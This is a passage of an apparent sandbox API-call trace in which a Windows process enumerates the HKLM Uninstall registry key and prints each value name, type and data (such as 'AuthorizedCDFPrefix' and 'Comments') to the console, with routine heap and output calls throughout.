GetProcessHeap () returned 0x2e0000 [0148.559] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0148.559] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0148.559] GetProcessHeap () returned 0x2e0000 [0148.559] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0148.559] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0148.559] RegCloseKey (hKey=0x5c) returned 0x0 [0148.559] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x1e, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.559] __iob_func () returned 0x7fefd702a80 [0148.559] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.559] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\n") returned 110 [0148.559] _fileno (_File=0x7fefd702ab0) returned 1 [0148.559] _errno () returned 0xc4bb0 [0148.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.559] _errno () returned 0xc4bb0 [0148.559] GetFileType (hFile=0x50) returned 0x1 [0148.559] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\n") returned 110 [0148.559] GetConsoleOutputCP () returned 0x1b5 [0148.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0148.560] GetConsoleOutputCP () returned 0x1b5 [0148.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}\n", lpUsedDefaultChar=0x0) returned 110 [0148.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0148.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.560] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0148.560] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0148.560] GetProcessHeap () returned 0x2e0000 [0148.560] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0148.560] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.560] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.560] GetProcessHeap () returned 0x2e0000 [0148.560] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.560] GetProcessHeap () returned 0x2e0000 [0148.560] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.560] GetProcessHeap () returned 0x2e0000 [0148.560] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.560] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.560] __iob_func () returned 0x7fefd702a80 [0148.560] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.560] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.560] _fileno (_File=0x7fefd702ab0) returned 1 [0148.560] _errno () returned 0xc4bb0 [0148.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.561] _errno () returned 0xc4bb0 [0148.561] GetFileType (hFile=0x50) returned 0x1 [0148.561] lstrlenW (lpString=" ") returned 4 [0148.561] GetConsoleOutputCP () returned 0x1b5 [0148.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.561] GetConsoleOutputCP () returned 0x1b5 [0148.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.561] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.561] __iob_func () returned 0x7fefd702a80 [0148.561] _fileno (_File=0x7fefd702ab0) returned 1 [0148.561] _errno () returned 0xc4bb0 [0148.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.561] _errno () returned 0xc4bb0 [0148.561] GetFileType (hFile=0x50) returned 0x1 [0148.561] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0148.561] GetConsoleOutputCP () returned 0x1b5 [0148.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0148.561] GetConsoleOutputCP () returned 0x1b5 [0148.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0148.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0148.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.562] __iob_func () returned 0x7fefd702a80 [0148.562] _fileno (_File=0x7fefd702ab0) returned 1 [0148.562] _errno () returned 0xc4bb0 [0148.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.562] _errno () returned 0xc4bb0 [0148.562] GetFileType (hFile=0x50) returned 0x1 [0148.562] lstrlenW (lpString=" ") returned 4 [0148.562] GetConsoleOutputCP () returned 0x1b5 [0148.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.562] GetConsoleOutputCP () returned 0x1b5 [0148.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.562] __iob_func () returned 0x7fefd702a80 [0148.562] _fileno (_File=0x7fefd702ab0) returned 1 [0148.562] _errno () returned 0xc4bb0 [0148.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.562] _errno () returned 0xc4bb0 [0148.562] GetFileType (hFile=0x50) returned 0x1 [0148.562] lstrlenW (lpString="REG_SZ") returned 6 [0148.562] GetConsoleOutputCP () returned 0x1b5 [0148.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.563] GetConsoleOutputCP () returned 0x1b5 [0148.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.563] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.563] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.563] __iob_func () returned 0x7fefd702a80 [0148.563] _fileno (_File=0x7fefd702ab0) returned 1 [0148.563] _errno () returned 0xc4bb0 [0148.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.563] _errno () returned 0xc4bb0 [0148.563] GetFileType (hFile=0x50) returned 0x1 [0148.563] lstrlenW (lpString=" ") returned 4 [0148.563] GetConsoleOutputCP () returned 0x1b5 [0148.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.563] GetConsoleOutputCP () returned 0x1b5 [0148.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.563] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.563] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.563] __iob_func () returned 0x7fefd702a80 [0148.563] _fileno (_File=0x7fefd702ab0) returned 1 [0148.563] _errno () returned 0xc4bb0 [0148.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.564] _errno () returned 0xc4bb0 [0148.564] GetFileType (hFile=0x50) returned 0x1 [0148.564] lstrlenW (lpString="") returned 0 [0148.564] __iob_func () returned 0x7fefd702a80 [0148.564] _fileno (_File=0x7fefd702ab0) returned 1 [0148.564] _errno () returned 0xc4bb0 [0148.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.564] _errno () returned 0xc4bb0 [0148.564] GetFileType (hFile=0x50) returned 0x1 [0148.564] lstrlenW (lpString="\n") returned 1 [0148.564] GetConsoleOutputCP () returned 0x1b5 [0148.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.564] GetConsoleOutputCP () returned 0x1b5 [0148.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.564] GetProcessHeap () returned 0x2e0000 [0148.564] GetProcessHeap () returned 0x2e0000 [0148.564] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.564] GetProcessHeap () returned 0x2e0000 [0148.564] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.564] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.564] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.564] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0148.564] GetProcessHeap () returned 0x2e0000 [0148.564] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x302970 [0148.564] GetProcessHeap () returned 0x2e0000 [0148.564] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.565] GetProcessHeap () returned 0x2e0000 [0148.565] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.565] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x302970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0148.565] __iob_func () returned 0x7fefd702a80 [0148.565] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.565] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.565] _fileno (_File=0x7fefd702ab0) returned 1 [0148.565] _errno () returned 0xc4bb0 [0148.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.565] _errno () returned 0xc4bb0 [0148.565] GetFileType (hFile=0x50) returned 0x1 [0148.565] lstrlenW (lpString=" ") returned 4 [0148.565] GetConsoleOutputCP () returned 0x1b5 [0148.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.565] GetConsoleOutputCP () returned 0x1b5 [0148.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.565] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.565] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.565] lstrlenW (lpString="Comments") returned 8 [0148.565] __iob_func () returned 0x7fefd702a80 [0148.565] _fileno (_File=0x7fefd702ab0) returned 1 [0148.565] _errno () returned 0xc4bb0 [0148.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.565] _errno () returned 0xc4bb0 [0148.565] GetFileType (hFile=0x50) returned 0x1 [0148.565] lstrlenW (lpString="Comments") returned 8 [0148.566] GetConsoleOutputCP () returned 0x1b5 [0148.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0148.566] GetConsoleOutputCP () returned 0x1b5 [0148.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0148.566] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0148.566] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.566] __iob_func () returned 0x7fefd702a80 [0148.566] _fileno (_File=0x7fefd702ab0) returned 1 [0148.566] _errno () returned 0xc4bb0 [0148.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.566] _errno () returned 0xc4bb0 [0148.566] GetFileType (hFile=0x50) returned 0x1 [0148.566] lstrlenW (lpString=" ") returned 4 [0148.566] GetConsoleOutputCP () returned 0x1b5 [0148.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.566] GetConsoleOutputCP () returned 0x1b5 [0148.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.567] __iob_func () returned 0x7fefd702a80 [0148.567] _fileno (_File=0x7fefd702ab0) returned 1 [0148.567] _errno () returned 0xc4bb0 [0148.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.567] _errno () returned 0xc4bb0 [0148.567] GetFileType (hFile=0x50) returned 0x1 [0148.567] lstrlenW (lpString="REG_SZ") returned 6 [0148.567] GetConsoleOutputCP () returned 0x1b5 [0148.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.567] GetConsoleOutputCP () returned 0x1b5 [0148.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.567] __iob_func () returned 0x7fefd702a80 [0148.567] _fileno (_File=0x7fefd702ab0) returned 1 [0148.567] _errno () returned 0xc4bb0 [0148.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.567] _errno () returned 0xc4bb0 [0148.567] GetFileType (hFile=0x50) returned 0x1 [0148.567] lstrlenW (lpString=" ") returned 4 [0148.567] GetConsoleOutputCP () returned 0x1b5 [0148.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.568] GetConsoleOutputCP () returned 0x1b5 [0148.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.568] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.568] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.568] __iob_func () returned 0x7fefd702a80 [0148.568] _fileno (_File=0x7fefd702ab0) returned 1 [0148.568] _errno () returned 0xc4bb0 [0148.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.568] _errno () returned 0xc4bb0 [0148.568] GetFileType (hFile=0x50) returned 0x1 [0148.568] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0148.568] GetConsoleOutputCP () returned 0x1b5 [0148.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0148.568] GetConsoleOutputCP () returned 0x1b5 [0148.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0148.568] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0148.568] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.568] __iob_func () returned 0x7fefd702a80 [0148.568] _fileno (_File=0x7fefd702ab0) returned 1 [0148.568] _errno () returned 0xc4bb0 [0148.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.568] _errno () returned 0xc4bb0 [0148.568] GetFileType (hFile=0x50) returned 0x1 [0148.569] lstrlenW (lpString="\n") returned 1 [0148.569] GetConsoleOutputCP () returned 0x1b5 [0148.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.569] GetConsoleOutputCP () returned 0x1b5 [0148.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970) returned 1 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x302970) returned 0x9e [0148.569] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x302970 | out: hHeap=0x2e0000) returned 1 [0148.569] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.569] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.569] GetProcessHeap () returned 0x2e0000 [0148.569] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.569] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.569] __iob_func () returned 0x7fefd702a80 [0148.569] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.570] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.570] _fileno (_File=0x7fefd702ab0) returned 1 [0148.570] _errno () returned 0xc4bb0 [0148.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.570] _errno () returned 0xc4bb0 [0148.570] GetFileType (hFile=0x50) returned 0x1 [0148.570] lstrlenW (lpString=" ") returned 4 [0148.570] GetConsoleOutputCP () returned 0x1b5 [0148.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.570] GetConsoleOutputCP () returned 0x1b5 [0148.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.570] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.570] 